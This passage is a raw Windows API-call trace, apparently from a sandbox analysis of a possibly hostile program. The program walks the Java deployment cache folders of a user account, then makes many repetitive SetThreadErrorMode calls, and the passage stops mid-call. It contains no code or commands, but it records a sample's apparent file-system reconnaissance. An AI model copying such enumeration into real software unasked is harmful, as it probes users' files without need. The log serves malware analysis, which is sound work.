dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.472] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.472] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13", lpFilePart=0x0) returned 0x47 [0214.473] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\13\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\13\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.473] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.473] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.473] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.473] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", lpFilePart=0x0) returned 0x47 [0214.474] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\14\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.474] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.474] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.474] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.475] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14", lpFilePart=0x0) returned 0x47 [0214.475] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\14\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\14\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.475] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.475] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.476] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.476] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", lpFilePart=0x0) returned 0x47 [0214.476] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\15\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.476] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.477] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.477] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.477] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15", lpFilePart=0x0) returned 0x47 [0214.477] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\15\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\15\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.477] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.478] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.478] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.478] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbaa0) returned 1 [0214.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dbbb0) returned 1 [0214.478] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", nBufferLength=0x105, lpBuffer=0x1e1db690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16", lpFilePart=0x0) returned 0x47 [0214.479] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\16\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\16\\*"), lpFindFileData=0x1e1db8c0 | out: lpFindFileData=0x1e1db8c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0214.479] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.479] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e1db880 | out: lpFindFileData=0x1e1db880*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07a8d04, ftCreationTime.dwHighDateTime=0x1d8c106, ftLastAccessTime.dwLowDateTime=0xb07a8d04, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xb07a8d04, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0214.480] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0214.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dbae0) returned 1 [0214.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0214.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0214.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0214.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0214.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0214.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dd2f0) returned 1 [0214.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd220) returned 1 [0214.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd1e0) returned 1 [0214.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0214.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0214.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0214.938] SetThreadErrorMode 